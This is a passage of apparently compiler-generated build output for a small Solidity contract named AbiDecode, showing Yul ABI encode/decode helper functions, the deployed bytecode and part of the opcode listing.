:= add(pos, 0x20)\n }\n\n function array_dataslot_t_array$_t_uint256_$dyn_memory_ptr(ptr) -> data {\n data := ptr\n\n data := add(ptr, 0x20)\n\n }\n\n function abi_encode_t_uint256_to_t_uint256(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encodeUpdatedPos_t_uint256_to_t_uint256(value0, pos) -> updatedPos {\n abi_encode_t_uint256_to_t_uint256(value0, pos)\n updatedPos := add(pos, 0x20)\n }\n\n function array_nextElement_t_array$_t_uint256_$dyn_memory_ptr(ptr) -> next {\n next := add(ptr, 0x20)\n }\n\n // uint256[] -> uint256[]\n function abi_encode_t_array$_t_uint256_$dyn_memory_ptr_to_t_array$_t_uint256_$dyn_memory_ptr_fromStack(value, pos) -> end {\n let length := array_length_t_array$_t_uint256_$dyn_memory_ptr(value)\n pos := array_storeLengthForEncoding_t_array$_t_uint256_$dyn_memory_ptr_fromStack(pos, length)\n let baseRef := array_dataslot_t_array$_t_uint256_$dyn_memory_ptr(value)\n let srcPtr := baseRef\n for { let i := 0 } lt(i, length) { i := add(i, 1) }\n {\n let elementValue0 := mload(srcPtr)\n pos := abi_encodeUpdatedPos_t_uint256_to_t_uint256(elementValue0, pos)\n srcPtr := array_nextElement_t_array$_t_uint256_$dyn_memory_ptr(srcPtr)\n }\n end := pos\n }\n\n function array_length_t_string_memory_ptr(value) -> length {\n\n length := mload(value)\n\n }\n\n function array_storeLengthForEncoding_t_string_memory_ptr(pos, length) -> updated_pos {\n mstore(pos, length)\n updated_pos := add(pos, 0x20)\n }\n\n function abi_encode_t_string_memory_ptr_to_t_string_memory_ptr(value, pos) -> end {\n let length := array_length_t_string_memory_ptr(value)\n pos := array_storeLengthForEncoding_t_string_memory_ptr(pos, length)\n copy_memory_to_memory_with_cleanup(add(value, 0x20), pos, length)\n end := add(pos, round_up_to_mul_of_32(length))\n }\n\n function array_length_t_array$_t_uint256_$2_memory_ptr(value) -> length {\n\n length := 0x02\n\n }\n\n function array_storeLengthForEncoding_t_array$_t_uint256_$2_memory_ptr(pos, length) -> updated_pos {\n updated_pos := pos\n }\n\n function array_dataslot_t_array$_t_uint256_$2_memory_ptr(ptr) -> data {\n data := ptr\n\n }\n\n function array_nextElement_t_array$_t_uint256_$2_memory_ptr(ptr) -> next {\n next := add(ptr, 0x20)\n }\n\n // uint256[2] -> uint256[2]\n function abi_encode_t_array$_t_uint256_$2_memory_ptr_to_t_array$_t_uint256_$2_memory_ptr(value, pos) {\n let length := array_length_t_array$_t_uint256_$2_memory_ptr(value)\n pos := array_storeLengthForEncoding_t_array$_t_uint256_$2_memory_ptr(pos, length)\n let baseRef := array_dataslot_t_array$_t_uint256_$2_memory_ptr(value)\n let srcPtr := baseRef\n for { let i := 0 } lt(i, length) { i := add(i, 1) }\n {\n let elementValue0 := mload(srcPtr)\n pos := abi_encodeUpdatedPos_t_uint256_to_t_uint256(elementValue0, pos)\n srcPtr := array_nextElement_t_array$_t_uint256_$2_memory_ptr(srcPtr)\n }\n\n }\n\n // struct AbiDecode.MyStruct -> struct AbiDecode.MyStruct\n function abi_encode_t_struct$_MyStruct_$8_memory_ptr_to_t_struct$_MyStruct_$8_memory_ptr_fromStack(value, pos) -> end {\n let tail := add(pos, 0x60)\n\n {\n // name\n\n let memberValue0 := mload(add(value, 0x00))\n\n mstore(add(pos, 0x00), sub(tail, pos))\n tail := abi_encode_t_string_memory_ptr_to_t_string_memory_ptr(memberValue0, tail)\n\n }\n\n {\n // nums\n\n let memberValue0 := mload(add(value, 0x20))\n abi_encode_t_array$_t_uint256_$2_memory_ptr_to_t_array$_t_uint256_$2_memory_ptr(memberValue0, add(pos, 0x20))\n }\n\n end := tail\n }\n\n function abi_encode_tuple_t_uint256_t_address_t_array$_t_uint256_$dyn_memory_ptr_t_struct$_MyStruct_$8_memory_ptr__to_t_uint256_t_address_t_array$_t_uint256_$dyn_memory_ptr_t_struct$_MyStruct_$8_memory_ptr__fromStack_reversed(headStart , value3, value2, value1, value0) -> tail {\n tail := add(headStart, 128)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n abi_encode_t_address_to_t_address_fromStack(value1, add(headStart, 32))\n\n mstore(add(headStart, 64), sub(tail, headStart))\n tail := abi_encode_t_array$_t_uint256_$dyn_memory_ptr_to_t_array$_t_uint256_$dyn_memory_ptr_fromStack(value2, tail)\n\n mstore(add(headStart, 96), sub(tail, headStart))\n tail := abi_encode_t_struct$_MyStruct_$8_memory_ptr_to_t_struct$_MyStruct_$8_memory_ptr_fromStack(value3, tail)\n\n }\n\n function revert_error_d0468cefdb41083d2ff66f1e66140f10c9da08cd905521a779422e76a84d11ec() {\n revert(0, 0)\n }\n\n function copy_calldata_to_memory(src, dst, length) {\n calldatacopy(dst, src, length)\n\n }\n\n // uint256[] -> uint256[]\n function abi_encode_t_array$_t_uint256_$dyn_calldata_ptr_to_t_array$_t_uint256_$dyn_memory_ptr_fromStack(start, length, pos) -> end {\n pos := array_storeLengthForEncoding_t_array$_t_uint256_$dyn_memory_ptr_fromStack(pos, length)\n\n if gt(length, 0x07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) { revert_error_d0468cefdb41083d2ff66f1e66140f10c9da08cd905521a779422e76a84d11ec() }\n length := mul(length, 0x20)\n\n copy_calldata_to_memory(start, pos, length)\n end := add(pos, length)\n }\n\n function revert_error_0803104b3ab68501accf02de57372b8e5e6e1582158b771d3f89279dc6822fe2() {\n revert(0, 0)\n }\n\n function revert_error_3894daff73bdbb8963c284e167b207f7abade3c031c50828ea230a16bdbc0f20() {\n revert(0, 0)\n }\n\n function revert_error_db64ea6d4a12deece376118739de8d9f517a2db5b58ea2ca332ea908c04c71d4() {\n revert(0, 0)\n }\n\n function calldata_access_t_string_calldata_ptr(base_ref, ptr) -> value, length {\n let rel_offset_of_tail := calldataload(ptr)\n if iszero(slt(rel_offset_of_tail, sub(sub(calldatasize(), base_ref), sub(0x20, 1)))) { revert_error_db64ea6d4a12deece376118739de8d9f517a2db5b58ea2ca332ea908c04c71d4() }\n value := add(rel_offset_of_tail, base_ref)\n\n length := calldataload(value)\n value := add(value, 0x20)\n if gt(length, 0xffffffffffffffff) { revert_error_0803104b3ab68501accf02de57372b8e5e6e1582158b771d3f89279dc6822fe2() }\n if sgt(value, sub(calldatasize(), mul(length, 0x01))) { revert_error_3894daff73bdbb8963c284e167b207f7abade3c031c50828ea230a16bdbc0f20() }\n\n }\n\n function copy_calldata_to_memory_with_cleanup(src, dst, length) {\n calldatacopy(dst, src, length)\n mstore(add(dst, length), 0)\n }\n\n // string -> string\n function abi_encode_t_string_calldata_ptr_to_t_string_memory_ptr(start, length, pos) -> end {\n pos := array_storeLengthForEncoding_t_string_memory_ptr(pos, length)\n\n copy_calldata_to_memory_with_cleanup(start, pos, length)\n end := add(pos, round_up_to_mul_of_32(length))\n }\n\n function calldata_access_t_array$_t_uint256_$2_calldata_ptr(baseRef, ptr) -> value {\n value := ptr\n }\n\n // uint256[2] -> uint256[2]\n function abi_encode_t_array$_t_uint256_$2_calldata_ptr_to_t_array$_t_uint256_$2_memory_ptr(start, pos) {\n copy_calldata_to_memory(start, pos, 0x40)\n }\n\n // struct AbiDecode.MyStruct -> struct AbiDecode.MyStruct\n function abi_encode_t_struct$_MyStruct_$8_calldata_ptr_to_t_struct$_MyStruct_$8_memory_ptr_fromStack(value, pos) -> end {\n let tail := add(pos, 0x60)\n\n {\n // name\n\n let memberValue0, memberValue1 := calldata_access_t_string_calldata_ptr(value, add(value, 0x00))\n\n mstore(add(pos, 0x00), sub(tail, pos))\n tail := abi_encode_t_string_calldata_ptr_to_t_string_memory_ptr(memberValue0, memberValue1, tail)\n\n }\n\n {\n // nums\n\n let memberValue0 := calldata_access_t_array$_t_uint256_$2_calldata_ptr(value, add(value, 0x20))\n abi_encode_t_array$_t_uint256_$2_calldata_ptr_to_t_array$_t_uint256_$2_memory_ptr(memberValue0, add(pos, 0x20))\n }\n\n end := tail\n }\n\n function abi_encode_tuple_t_uint256_t_address_t_array$_t_uint256_$dyn_calldata_ptr_t_struct$_MyStruct_$8_calldata_ptr__to_t_uint256_t_address_t_array$_t_uint256_$dyn_memory_ptr_t_struct$_MyStruct_$8_memory_ptr__fromStack_reversed(headStart , value4, value3, value2, value1, value0) -> tail {\n tail := add(headStart, 128)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n abi_encode_t_address_to_t_address_fromStack(value1, add(headStart, 32))\n\n mstore(add(headStart, 64), sub(tail, headStart))\n tail := abi_encode_t_array$_t_uint256_$dyn_calldata_ptr_to_t_array$_t_uint256_$dyn_memory_ptr_fromStack(value2, value3, tail)\n\n mstore(add(headStart, 96), sub(tail, headStart))\n tail := abi_encode_t_struct$_MyStruct_$8_calldata_ptr_to_t_struct$_MyStruct_$8_memory_ptr_fromStack(value4, tail)\n\n }\n\n function cleanup_t_address_payable(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function validator_revert_t_address_payable(value) {\n if iszero(eq(value, cleanup_t_address_payable(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_address_payable(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_address_payable(value)\n }\n\n function panic_error_0x41() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x41)\n revert(0, 0x24)\n }\n\n function finalize_allocation(memPtr, size) {\n let newFreePtr := add(memPtr, round_up_to_mul_of_32(size))\n // protect against overflow\n if or(gt(newFreePtr, 0xffffffffffffffff), lt(newFreePtr, memPtr)) { panic_error_0x41() }\n mstore(64, newFreePtr)\n }\n\n function allocate_memory(size) -> memPtr {\n memPtr := allocate_unbounded()\n finalize_allocation(memPtr, size)\n }\n\n function array_allocation_size_t_array$_t_uint256_$dyn_memory_ptr(length) -> size {\n // Make sure we can allocate memory without overflow\n if gt(length, 0xffffffffffffffff) { panic_error_0x41() }\n\n size := mul(length, 0x20)\n\n // add length slot\n size := add(size, 0x20)\n\n }\n\n // uint256[]\n function abi_decode_available_length_t_array$_t_uint256_$dyn_memory_ptr(offset, length, end) -> array {\n array := allocate_memory(array_allocation_size_t_array$_t_uint256_$dyn_memory_ptr(length))\n let dst := array\n\n mstore(array, length)\n dst := add(array, 0x20)\n\n let srcEnd := add(offset, mul(length, 0x20))\n if gt(srcEnd, end) {\n revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef()\n }\n for { let src := offset } lt(src, srcEnd) { src := add(src, 0x20) }\n {\n\n let elementPos := src\n\n mstore(dst, abi_decode_t_uint256(elementPos, end))\n dst := add(dst, 0x20)\n }\n }\n\n // uint256[]\n function abi_decode_t_array$_t_uint256_$dyn_memory_ptr(offset, end) -> array {\n if iszero(slt(add(offset, 0x1f), end)) { revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d() }\n let length := calldataload(offset)\n array := abi_decode_available_length_t_array$_t_uint256_$dyn_memory_ptr(add(offset, 0x20), length, end)\n }\n\n function revert_error_3538a459e4a0eb828f1aed5ebe5dc96fe59620a31d9b33e41259bb820cae769f() {\n revert(0, 0)\n }\n\n function revert_error_5e8f644817bc4960744f35c15999b6eff64ae702f94b1c46297cfd4e1aec2421() {\n revert(0, 0)\n }\n\n function revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae() {\n revert(0, 0)\n }\n\n function array_allocation_size_t_string_memory_ptr(length) -> size {\n // Make sure we can allocate memory without overflow\n if gt(length, 0xffffffffffffffff) { panic_error_0x41() }\n\n size := round_up_to_mul_of_32(length)\n\n // add length slot\n size := add(size, 0x20)\n\n }\n\n function abi_decode_available_length_t_string_memory_ptr(src, length, end) -> array {\n array := allocate_memory(array_allocation_size_t_string_memory_ptr(length))\n mstore(array, length)\n let dst := add(array, 0x20)\n if gt(add(src, length), end) { revert_error_987264b3b1d58a9c7f8255e93e81c77d86d6299019c33110a076957a3e06e2ae() }\n copy_calldata_to_memory_with_cleanup(src, dst, length)\n }\n\n // string\n function abi_decode_t_string_memory_ptr(offset, end) -> array {\n if iszero(slt(add(offset, 0x1f), end)) { revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d() }\n let length := calldataload(offset)\n array := abi_decode_available_length_t_string_memory_ptr(add(offset, 0x20), length, end)\n }\n\n function array_allocation_size_t_array$_t_uint256_$2_memory_ptr(length) -> size {\n // Make sure we can allocate memory without overflow\n if gt(length, 0xffffffffffffffff) { panic_error_0x41() }\n\n size := mul(length, 0x20)\n\n }\n\n // uint256[2]\n function abi_decode_available_length_t_array$_t_uint256_$2_memory_ptr(offset, length, end) -> array {\n array := allocate_memory(array_allocation_size_t_array$_t_uint256_$2_memory_ptr(length))\n let dst := array\n\n let srcEnd := add(offset, mul(length, 0x20))\n if gt(srcEnd, end) {\n revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef()\n }\n for { let src := offset } lt(src, srcEnd) { src := add(src, 0x20) }\n {\n\n let elementPos := src\n\n mstore(dst, abi_decode_t_uint256(elementPos, end))\n dst := add(dst, 0x20)\n }\n }\n\n // uint256[2]\n function abi_decode_t_array$_t_uint256_$2_memory_ptr(offset, end) -> array {\n if iszero(slt(add(offset, 0x1f), end)) { revert_error_1b9f4a0a5773e33b91aa01db23bf8c55fce1411167c872835e7fa00a4f17d46d() }\n let length := 0x02\n array := abi_decode_available_length_t_array$_t_uint256_$2_memory_ptr(offset, length, end)\n }\n\n // struct AbiDecode.MyStruct\n function abi_decode_t_struct$_MyStruct_$8_memory_ptr(headStart, end) -> value {\n if slt(sub(end, headStart), 0x60) { revert_error_3538a459e4a0eb828f1aed5ebe5dc96fe59620a31d9b33e41259bb820cae769f() }\n value := allocate_memory(0x40)\n\n {\n // name\n\n let offset := calldataload(add(headStart, 0))\n if gt(offset, 0xffffffffffffffff) { revert_error_5e8f644817bc4960744f35c15999b6eff64ae702f94b1c46297cfd4e1aec2421() }\n\n mstore(add(value, 0x00), abi_decode_t_string_memory_ptr(add(headStart, offset), end))\n\n }\n\n {\n // nums\n\n let offset := 32\n\n mstore(add(value, 0x20), abi_decode_t_array$_t_uint256_$2_memory_ptr(add(headStart, offset), end))\n\n }\n\n }\n\n function abi_decode_tuple_t_uint256t_address_payablet_array$_t_uint256_$dyn_memory_ptrt_struct$_MyStruct_$8_memory_ptr(headStart, dataEnd) -> value0, value1, value2, value3 {\n if slt(sub(dataEnd, headStart), 128) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_uint256(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := 32\n\n value1 := abi_decode_t_address_payable(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := calldataload(add(headStart, 64))\n if gt(offset, 0xffffffffffffffff) { revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() }\n\n value2 := abi_decode_t_array$_t_uint256_$dyn_memory_ptr(add(headStart, offset), dataEnd)\n }\n\n {\n\n let offset := calldataload(add(headStart, 96))\n if gt(offset, 0xffffffffffffffff) { revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() }\n\n value3 := abi_decode_t_struct$_MyStruct_$8_memory_ptr(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n", | |
"id": 1, | |
"language": "Yul", | |
"name": "#utility.yul" | |
} | |
], | |
"immutableReferences": {}, | |
"linkReferences": {}, | |
"object": "608060405234801561000f575f80fd5b5060043610610034575f3560e01c80637049e08714610038578063e5c5e9a314610068575b5f80fd5b610052600480360381019061004d9190610267565b61009b565b60405161005f9190610391565b60405180910390f35b610082600480360381019061007d9190610406565b6100d0565b6040516100929493929190610631565b60405180910390f35b606085858585856040516020016100b69594939291906107f8565b604051602081830303815290604052905095945050505050565b5f8060606100dc610104565b85858101906100eb9190610b7f565b8094508195508296508397505050505092959194509250565b60405180604001604052806060815260200161011e610124565b81525090565b6040518060400160405280600290602082028036833780820191505090505090565b5f604051905090565b5f80fd5b5f80fd5b5f819050919050565b61016981610157565b8114610173575f80fd5b50565b5f8135905061018481610160565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6101b38261018a565b9050919050565b6101c3816101a9565b81146101cd575f80fd5b50565b5f813590506101de816101ba565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f840112610205576102046101e4565b5b8235905067ffffffffffffffff811115610222576102216101e8565b5b60208301915083602082028301111561023e5761023d6101ec565b5b9250929050565b5f80fd5b5f6060828403121561025e5761025d610245565b5b81905092915050565b5f805f805f608086880312156102805761027f61014f565b5b5f61028d88828901610176565b955050602061029e888289016101d0565b945050604086013567ffffffffffffffff8111156102bf576102be610153565b5b6102cb888289016101f0565b9350935050606086013567ffffffffffffffff8111156102ee576102ed610153565b5b6102fa88828901610249565b9150509295509295909350565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561033e578082015181840152602081019050610323565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61036382610307565b61036d8185610311565b935061037d818560208601610321565b61038681610349565b840191505092915050565b5f6020820190508181035f8301526103a98184610359565b905092915050565b5f8083601f8401126103c6576103c56101e4565b5b8235905067ffffffffffffffff8111156103e3576103e26101e8565b5b6020830191508360018202830111156103ff576103fe6101ec565b5b9250929050565b5f806020838503121561041c5761041b61014f565b5b5f83013567ffffffffffffffff81111561043957610438610153565b5b610445858286016103b1565b92509250509250929050565b61045a81610157565b82525050565b610469816101a9565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6104a181610157565b82525050565b5f6104b28383610498565b60208301905092915050565b5f602082019050919050565b5f6104d48261046f565b6104de8185610479565b93506104e983610489565b805f5b8381101561051957815161050088826104a7565b975061050b836104be565b9250506001810190506104ec565b5085935050505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f61054a82610526565b6105548185610530565b9350610564818560208601610321565b61056d81610349565b840191505092915050565b5f60029050919050565b5f81905092915050565b5f819050919050565b5f602082019050919050565b6105aa81610578565b6105b48184610582565b92506105bf8261058c565b805f5b838110156105ef5781516105d687826104a7565b96506105e183610595565b9250506001810190506105c2565b505050505050565b5f606083015f8301518482035f8601526106118282610540565b915050602083015161062660208601826105a1565b508091505092915050565b5f6080820190506106445f830187610451565b6106516020830186610460565b818103604083015261066381856104ca565b9050818103606083015261067781846105f7565b905095945050505050565b5f80fd5b82818337505050565b5f61069a8385610479565b93507f07ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8311156106cd576106cc610682565b5b6020830292506106de838584610686565b82840190509392505050565b5f80fd5b5f80fd5b5f80fd5b5f8083356001602003843603038112610712576107116106f2565b5b83810192508235915060208301925067ffffffffffffffff82111561073a576107396106ea565b5b6001820236038313156107505761074f6106ee565b5b509250929050565b828183375f83830152505050565b5f6107718385610530565b935061077e838584610758565b61078783610349565b840190509392505050565b5f82905092915050565b6107a860408383610686565b5050565b5f606083016107bd5f8401846106f6565b8583035f8701526107cf838284610766565b925050506107e06020840184610792565b6107ed602086018261079c565b508091505092915050565b5f60808201905061080b5f830188610451565b6108186020830187610460565b818103604083015261082b81858761068f565b9050818103606083015261083f81846107ac565b90509695505050505050565b5f6108558261018a565b9050919050565b6108658161084b565b811461086f575f80fd5b50565b5f813590506108808161085c565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6108bc82610349565b810181811067ffffffffffffffff821117156108db576108da610886565b5b80604052505050565b5f6108ed610146565b90506108f982826108b3565b919050565b5f67ffffffffffffffff82111561091857610917610886565b5b602082029050602081019050919050565b5f61093b610936846108fe565b6108e4565b9050808382526020820190506020840283018581111561095e5761095d6101ec565b5b835b8181101561098757806109738882610176565b845260208401935050602081019050610960565b5050509392505050565b5f82601f8301126109a5576109a46101e4565b5b81356109b5848260208601610929565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f67ffffffffffffffff8211156109e4576109e3610886565b5b6109ed82610349565b9050602081019050919050565b5f610a0c610a07846109ca565b6108e4565b905082815260208101848484011115610a2857610a276109c6565b5b610a33848285610758565b509392505050565b5f82601f830112610a4f57610a4e6101e4565b5b8135610a5f8482602086016109fa565b91505092915050565b5f67ffffffffffffffff821115610a8257610a81610886565b5b602082029050919050565b5f610a9f610a9a84610a68565b6108e4565b90508060208402830185811115610ab957610ab86101ec565b5b835b81811015610ae25780610ace8882610176565b845260208401935050602081019050610abb565b5050509392505050565b5f82601f830112610b0057610aff6101e4565b5b6002610b0d848285610a8d565b91505092915050565b5f60608284031215610b2b57610b2a6109be565b5b610b3560406108e4565b90505f82013567ffffffffffffffff811115610b5457610b536109c2565b5b610b6084828501610a3b565b5f830152506020610b7384828501610aec565b60208301525092915050565b5f805f8060808587031215610b9757610b9661014f565b5b5f610ba487828801610176565b9450506020610bb587828801610872565b935050604085013567ffffffffffffffff811115610bd657610bd5610153565b5b610be287828801610991565b925050606085013567ffffffffffffffff811115610c0357610c02610153565b5b610c0f87828801610b16565b9150509295919450925056fea26469706673582212205b725c550f5817665032ea732faca2091d7328e7d84cb0b00d1967eae8625aef64736f6c63430008140033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0xF JUMPI PUSH0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x34 JUMPI PUSH0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x7049E087 EQ PUSH2 0x38 JUMPI DUP1 PUSH4 0xE5C5E9A3 EQ PUSH2 0x68 JUMPI JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH2 0x52 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x4D SWAP2 SWAP1 PUSH2 0x267 JUMP JUMPDEST PUSH2 0x9B JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x5F SWAP2 SWAP1 PUSH2 0x391 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x82 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x7D SWAP2 SWAP1 PUSH2 0x406 JUMP JUMPDEST PUSH2 0xD0 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x92 SWAP5 SWAP4 SWAP3 SWAP2 SWAP1 PUSH2 0x631 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x60 DUP6 DUP6 DUP6 DUP6 DUP6 PUSH1 0x40 MLOAD PUSH1 0x20 ADD PUSH2 0xB6 SWAP6 SWAP5 SWAP4 SWAP3 SWAP2 SWAP1 PUSH2 0x7F8 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE SWAP1 POP SWAP6 SWAP5 POP POP POP POP POP JUMP JUMPDEST PUSH0 DUP1 PUSH1 0x60 PUSH2 0xDC PUSH2 0x104 JUMP JUMPDEST DUP6 DUP6 DUP2 ADD SWAP1 PUSH2 0xEB SWAP2 SWAP1 PUSH2 0xB7F JUMP JUMPDEST DUP1 SWAP5 POP DUP2 SWAP6 POP DUP3 SWAP7 POP DUP4 SWAP8 POP POP POP POP POP SWAP3 SWAP6 SWAP2 SWAP5 POP SWAP3 POP JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 PUSH1 0x40 ADD PUSH1 0x40 MSTORE DUP1 PUSH1 0x60 DUP2 MSTORE PUSH1 0x20 ADD PUSH2 0x11E PUSH2 0x124 JUMP JUMPDEST DUP2 MSTORE POP SWAP1 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 PUSH1 0x40 ADD PUSH1 0x40 MSTORE DUP1 PUSH1 0x2 SWAP1 PUSH1 0x20 DUP3 MUL DUP1 CALLDATASIZE DUP4 CALLDATACOPY DUP1 DUP3 ADD SWAP2 POP POP SWAP1 POP POP SWAP1 JUMP JUMPDEST PUSH0 PUSH1 0x40 MLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x169 DUP2 PUSH2 0x157 JUMP JUMPDEST DUP2 EQ PUSH2 0x173 JUMPI PUSH0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x184 DUP2 PUSH2 0x160 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x1B3 DUP3 PUSH2 0x18A JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x1C3 DUP2 PUSH2 0x1A9 JUMP JUMPDEST DUP2 EQ PUSH2 0x1CD JUMPI PUSH0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x1DE DUP2 PUSH2 0x1BA JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 DUP1 DUP4 PUSH1 0x1F DUP5 ADD SLT PUSH2 0x205 JUMPI PUSH2 0x204 PUSH2 0x1E4 JUMP JUMPDEST JUMPDEST DUP3 CALLDATALOAD SWAP1 POP PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x222 JUMPI PUSH2 0x221 PUSH2 0x1E8 JUMP JUMPDEST JUMPDEST PUSH1 0x20 DUP4 ADD SWAP2 POP DUP4 PUSH1 0x20 DUP3 MUL DUP4 ADD GT ISZERO PUSH2 0x23E JUMPI PUSH2 0x23D PUSH2 0x1EC JUMP JUMPDEST JUMPDEST SWAP3 POP SWAP3 SWAP1 POP JUMP JUMPDEST PUSH0 DUP1 REVERT JUMPDEST PUSH0 PUSH1 0x60 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x25E JUMPI PUSH2 0x25D PUSH2 0x245 JUMP JUMPDEST JUMPDEST DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP1 PUSH0 DUP1 PUSH0 PUSH1 0x80 DUP7 DUP9 SUB SLT ISZERO PUSH2 0x280 JUMPI PUSH2 0x27F PUSH2 0x14F JUMP JUMPDEST JUMPDEST PUSH0 PUSH2 0x28D DUP9 DUP3 DUP10 ADD PUSH2 0x176 JUMP JUMPDEST SWAP6 POP POP PUSH1 0x20 PUSH2 0x29E DUP9 DUP3 DUP10 ADD PUSH2 0x1D0 JUMP JUMPDEST SWAP5 POP POP PUSH1 0x40 DUP7 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x2BF JUMPI PUSH2 0x2BE PUSH2 0x153 JUMP JUMPDEST JUMPDEST PUSH2 0x2CB DUP9 DUP3 DUP10 ADD PUSH2 0x1F0 JUMP JUMPDEST SWAP4 POP SWAP4 POP POP PUSH1 0x60 DUP7 ADD CALLDATALOAD PUSH8 0xFFFFFFFFFFFFFFFF DUP2 GT ISZERO PUSH2 0x2EE JUMPI PUSH2 0x2ED PUSH2 0x153 JUMP JUMPDEST JUMPDEST PUSH2 0x2FA DUP9 DUP3 DUP10 ADD PUSH2 0x249 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP6 POP SWAP3 SWAP6 SWAP1 SWAP4 POP JUMP JUMPDEST PUSH0 DUP2 MLOAD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 DUP3 DUP3 MSTORE PUSH1 0x20 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 JUMPDEST DUP4 DUP2 LT ISZERO PUSH2 0x33E JUMPI DUP1 DUP3 ADD MLOAD DUP2 DUP5 ADD MSTORE PUSH1 0x20 DUP2 ADD SWAP1 POP PUSH2 0x323 JUMP JUMPDEST PUSH0 DUP5 DUP5 ADD MSTORE POP POP POP POP JUMP JUMPDEST PUSH0 PUSH1 0x1F NOT PUSH1 0x1F DUP4 ADD AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH0 PUSH2 0x363 DUP3 PUSH2 0x307 JUMP JUMPDEST PUSH2 0x36D DUP2 DUP6 PUSH2 0x311 JUMP JUMPDEST SWAP4 POP PUSH2 0x37D DUP2 DUP6 PUSH1 0x20 DUP7 ADD PUSH2 0x321 JUMP JUMPDEST PUSH2 0x386 DUP2 PUSH2 0x349 JUMP JUMPDEST DUP5 ADD SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 PUSH1 0x20 DUP3 ADD SWAP1 POP DUP2 DUP2 SUB PUSH0 DUP4 ADD MSTORE PUSH2 0x3A9 DUP2 DUP5 PUSH2 0x359 JUMP JUMPDEST SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH0 DUP1 DUP4 PUSH1 0x1F DUP5 ADD SLT PUSH2 0x3C6 JUMPI PUSH2 0x3C5 